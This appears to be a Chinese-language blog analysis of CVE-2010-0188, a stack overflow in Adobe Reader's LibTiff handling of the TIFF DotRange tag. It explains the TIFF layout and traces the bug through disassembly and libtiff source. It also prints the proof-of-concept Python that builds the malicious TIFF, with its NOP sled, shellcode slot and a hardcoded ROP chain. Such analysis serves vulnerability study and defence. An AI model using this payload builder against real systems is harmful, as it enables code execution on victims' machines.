Adobe PDF LibTiff Integer Overflow CVE-2010-0188分析

一,TIFF圖像格式介紹

TIFF文件分爲文件頭IFH和IFD兩部分。

IFH結構見下圖

共有8字節。其中

0-1 規定爲“II”或“MM”,Intel/Mortorola類型的字節序列

2-3 TIFF版本號,爲向下兼容,值爲42

4-7 第一個IFD的偏移量


IFD結構見下圖

IFD由連續存儲的DE組成。

0-1 IFD中DE個數

2-13 第一個DE

14-25 第二個DE

……

1+12*DE數 下一個IFD相對於文件頭的偏移量,若爲NULL表示本IFD是最後一個。


DE由連續的12字節表示

0-1 tag指出該DE所表示的圖像屬性,在同一個IFD中,它總是遞增的。

2-3 value的數據類型。

4-7 value的數據長度。

8-11 valueOffset偏移量。爲了節省空間,如果此DE值長度不足4字節,就在valueOffset中直接存儲。


下表列出了tag所表示的圖像屬性


標籤名                        標籤的ID號(十進制)
ImageWidth                                        256                               
ImageLength                                     257                                 
Compression                                     259                                     
PhotometricInterpretation                262                                     
StripOffsets                                         273
RowsPerStrip                                     278
StripByteCounts                                 279
XResolution                                        282
YResolution                                        283
ResolutionUnit                                   296
DotRange                                           336

以下列出了type各值的含義
1 = BYTE
2 = ASCII
3 = SHORT
4 = LONG
5 = RATIONAL
6 = SBYTE
7 = UNDEFINED
8 = SSHORT
9 = SLONG
10= SRATIONAL
11= FLOAT
12= DOUBLE


二,漏洞產生的原因

漏洞出在對DotRange屬性的解析上。

DotRange一般爲兩個值,即DotRange[0]和DotRange[1]。DotRange標籤是一個目錄項結構,12字節的數據定義了該標籤的TAG、數據類型,數據長度以及值偏移。通常情況下,DotRange的目錄項結構是這個樣子的:
      TAG                         Type                        Length             Value/Offset
      0x0150         0x0003/0x0001         0x00000002        0xAAAAAAAA

其中屬性應不超過2。當Length>2時,adobe reader在解析這個屬性時,會根據offset的值,讀取文件內容,造成棧溢出,最終執行shellcode。

查看PoC,可以看到PDF中嵌入的TIFF圖像的結構。PoC中生成TIFF圖像的代碼如下

SHELLCODE_OFFSET = 0x555
TIFF_OFSET = 0x2038

	def gen_tiff(self):
		tiff =  '\x49\x49\x2a\x00'
		tiff += struct.pack("<L", TIFF_OFSET)

		tiff += '\x90' * (SHELLCODE_OFFSET)
		tiff += self.shellcode
		tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)

		# First IFD
		tiff += "\x07\x00"	#number of DE = 7
		tiff += "\x00\x01\x03\x00\x01\x00\x00\x00\x30\x20\x00\x00"	# ImageWidth
		tiff += "\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# ImageHeigth
		tiff += "\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# compression
		tiff += "\x06\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# PhotometricInterpretation
		tiff += "\x11\x01\x04\x00\x01\x00\x00\x00\x08\x00\x00\x00"	# Stripoffset
		tiff += "\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20\x00\x00"	# stripbytecounts
		tiff += "\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00"	# Dot Range

		# Next IFD: no more IFD
		tiff += "\x00\x00\x00\x00"

		# junk
		tiff += "\x00\x0C\x0C\x08\x24\x01\x01\x00"
		
		# start of ROP
		tiff += "\xF7\x72\x00\x07\x04\x01"
		tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
		tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
		tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
		tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
		tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
		tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
		tiff += "\x00\x07"
		return tiff
首先是文件頭,\x49\x49\x2a\x00,表示Intel字節序列,即Little-Endian。

然後是第一個IFD的偏移量,\x38\x20。

然後是用\x90填充,接着放置shellcode,然後又是\x90填充。

接下來就是第一個IFD結構,前兩個字節表示有7個DE結構,接着依次是7個DE結構的具體內容。

IFD結構後面是4個\x00,表示只有一個IFD結構。

緊接着是8字節的junk數據(後面會說爲什麼有這8個字節),然後就是ROP鏈。


需要注意的是第7個DE結構。

\x50\x01    \x03\x00    \xCC\x00\x00\x00   \x92\x20\x00\x00  # DotRange

其中紅色的部分就是DotRange的長度,設置成了0xCC>2。加粗部分是偏移量,爲0x2092,剛好是junk數據相對於文件頭的偏移量

三、程序流程分析

分析後可以發現此漏洞與CVE-2006-3459如出一轍,可以下載tif_dirread.c文件對比分析。

其中函數的調用關係如下圖:

TIFFReadDirectory()中調用TIFFFetchShortPair()的語句如下:

		case TIFFTAG_PAGENUMBER:
		case TIFFTAG_HALFTONEHINTS:
		case TIFFTAG_YCBCRSUBSAMPLING:
		case TIFFTAG_DOTRANGE:
			(void) TIFFFetchShortPair(tif, dp);
			break;

AcroForm!DllUnregisterServer+0x49f8af處,爲TIFFFetchShortPair()的入口,彙編如下

.text:20CB59F7                 push    ebp
.text:20CB59F8                 mov     ebp, esp
.text:20CB59FA                 push    ecx
.text:20CB59FB                 movzx   eax, word ptr [esi+2] ; get the type of DE
.text:20CB59FF                 dec     eax
.text:20CB5A00                 jz      short loc_20CB5A2A ; TIFF_BYTE
.text:20CB5A02                 dec     eax
.text:20CB5A03                 dec     eax
.text:20CB5A04                 jz      short loc_20CB5A0F ; TIFF_SHORT
.text:20CB5A06                 sub     eax, 3
.text:20CB5A09                 jz      short loc_20CB5A2A ; TIFF_SBYTE
.text:20CB5A0B                 dec     eax
.text:20CB5A0C                 dec     eax
.text:20CB5A0D                 jnz     short loc_20CB5A5A ; TIFF_SSHORT
可以看到,程序一開始申請了4字節的局部變量(push ecx),然後取DE的type,接下來是對其進行比較,然後跳轉到處理函數。DotRange的type爲3(TIFF_SHORT),會跳轉到loc_20CB5A0F。

.text:20CB5A0F                 lea     eax, [ebp+var_4]
.text:20CB5A12                 mov     ecx, esi
.text:20CB5A14                 mov     edx, edi
.text:20CB5A16                 call    loc_20CB59A0 ; call TIFFFetchShortArray()

對應C代碼爲:

	uint16 v[2];
	int ok = 0;

	switch (dir->tdir_type) {
	case TIFF_SHORT:
	case TIFF_SSHORT:
		ok = TIFFFetchShortArray(tif, dir, v);
		break;
	case TIFF_BYTE:
	case TIFF_SBYTE:
		ok  = TIFFFetchByteArray(tif, dir, v);
		break;
	}

注意uint16 v[2];就是申請的局部變量,總共4個字節。

loc_20CB59A0處,就是TIFFFetchShortArray()函數的入口,如下

.text:20CB59A0                 push    ebx
.text:20CB59A1                 push    esi
.text:20CB59A2                 mov     esi, ecx
.text:20CB59A4                 mov     ecx, [esi+4] ; length = 0xCC
.text:20CB59A7                 cmp     ecx, 2
.text:20CB59AA                 mov     ebx, edx
.text:20CB59AC                 ja      short loc_20CB59E7
比較length與2,不小於則跳轉到loc_20CB59E7;

.text:20CB59E7                 push    eax		; v
.text:20CB59E8                 call    sub_20CB56A5	; call TIFFFetchData()

將上面申請的局部變量v作爲參數,調用TIFFFetchData()。對應C代碼如下

	if (dir->tdir_count <= 2) {
		...
	} else
		return (TIFFFetchData(tif, dir, (char *)v) != 0);

TIFFFetchData()的C代碼爲

TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp)
{
	int w = tiffDataWidth[dir->tdir_type];
	tsize_t cc = dir->tdir_count * w;

	if (!isMapped(tif)) {
		if (!SeekOK(tif, dir->tdir_offset))
			goto bad;
		if (!ReadOK(tif, cp, cc))
			goto bad;
	} else {
		if (dir->tdir_offset + cc > tif->tif_size)
			goto bad;
		_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);
	}

	......
}

其中cp爲TIFFFetchShortPair()函數中申請的局部變量uint16 v[2];,tif->tif_base + dir->tdir_offset是DotRange中存儲的偏移量,即junk的起始處。8個字節的junk會剛好將棧中的局部變量v(4個字節)和ebp填充,從而將TIFFFetchShortPair()函數的返回地址覆蓋爲rop鏈。

這裏就是調用_TIFFmemcpy()函數了。

.text:20CB56F1                 push    edi ; n
.text:20CB56F2                 push    [ebp+Dst] ; dest
.text:20CB56F5                 push    dword ptr [ebx+194h] ; src
.text:20CB56FB                 call    dword ptr [ebx+198h]

進入_TIFFmemcpy()後,再經過一系列處理,來到這裏


209D4572  |. 57             |PUSH EDI                                ; /n
209D4573  |. 03C1           |ADD EAX,ECX                             ; |
209D4575  |. 50             |PUSH EAX                                ; |src
209D4576  |. FF75 08        |PUSH DWORD PTR SS:[EBP+8]               ; |dest
209D4579  |. E8 70E1E2FF    |CALL <JMP.&MSVCR80.memcpy>              ; \memcpy

這兒就是真正調用memcpy函數覆蓋棧了。

接下來函數層層返回,直到AcroForm!DllUnregisterServer+0x49f915,這兒就是TIFFFetchShortPair()函數返回的地方,之後程序就轉入ROP鏈,進而執行shellcode。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章